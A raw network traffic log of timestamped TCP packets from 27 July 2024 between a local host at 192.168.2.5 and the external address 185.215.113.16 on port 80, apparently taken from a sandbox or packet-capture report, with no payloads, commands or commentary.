Jul 27, 2024 12:01:23.207612991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207645893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207674980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207674980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207679033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207711935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207745075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207777977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207811117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207824945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207824945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207824945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207844019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207878113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207911015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207945108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207978964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.207988977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207988977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.207988977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208014965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208050013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208131075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208164930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208204985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208204985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208204985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208256960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208291054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208324909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208358049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208391905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208401918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208401918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208457947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208457947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208544016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208578110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208610058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208643913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208676100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208709002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.208720922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208720922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.208720922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.209026098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229538918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229573011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229607105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229619026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229619026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229650974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229783058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229815006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229847908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229880095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229912996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.229957104 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229957104 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229958057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.229967117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230015993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230048895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230081081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230093956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230093956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230114937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230148077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230159998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230159998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230180025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230212927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230222940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230222940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230247021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230279922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230313063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230354071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230354071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230354071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230731964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230763912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230797052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230839014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230839014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230839014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230846882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230880022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230915070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230921030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230951071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.230979919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230979919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.230998993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.231415987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.231448889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.231491089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.231491089 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.290893078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.290982962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291004896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291018963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291054964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291096926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291096926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291096926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291110039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291146040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291179895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291194916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291194916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291213989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291265965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291285038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291300058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291333914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291343927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291343927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291368961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291403055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291420937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291421890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291439056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.291482925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.291482925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292176962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292247057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292301893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292335987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292371035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292404890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292416096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292416096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292416096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292438030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292471886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292501926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292501926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292524099 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292538881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292572975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292606115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292639971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292645931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292645931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292645931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292675018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292709112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.292938948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.292938948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293144941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293179035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293190002 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293215036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293273926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293273926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293306112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293339968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293373108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293378115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293406963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293426037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293442965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293468952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293477058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293477058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293477058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293487072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293498993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293504000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293540955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293540955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293540955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293654919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293673038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293728113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293816090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293828964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293845892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293859959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293874025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293889999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293899059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293899059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293899059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293905020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293921947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293924093 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293937922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.293986082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293986082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.293986082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294045925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294213057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294228077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294243097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294254065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294254065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294259071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294275045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294290066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294294119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294294119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294294119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294307947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294322968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294338942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294347048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294347048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294347048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294384956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294384956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294600010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294615984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294634104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294641018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294658899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294662952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294662952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294673920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294689894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294706106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294719934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294734955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294739962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294739962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294739962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294750929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.294785976 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.294785976 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295022964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295067072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295079947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295108080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295108080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295159101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295173883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295190096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295198917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295198917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295209885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295253992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295253992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295253992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295418978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295433998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295449018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295465946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295481920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295496941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295514107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295521975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295521975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295521975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295526981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.295579910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.295579910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.316854000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.316905022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.316914082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.316950083 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.316965103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.316999912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317034960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317068100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317080021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317080975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317101955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317156076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317187071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317190886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317225933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317260027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317293882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317293882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317317009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317352057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317377090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317384958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317419052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317451954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317462921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317462921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317487001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317521095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317553997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317559958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317589045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317621946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317627907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317648888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317657948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317692995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317718029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317728996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317763090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317795992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317801952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317801952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.317830086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317863941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.317899942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.318063974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.377861023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.377922058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.377959013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.377974033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.377974033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378036976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378071070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378104925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378115892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378115892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378115892 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378139019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378148079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378175020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378209114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378298044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378330946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378344059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378344059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378365993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378398895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378432035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378465891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.378509045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378509045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.378509045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379064083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379117966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379152060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379159927 CEST	49705	80	192.168.2.5	185.215.113.16
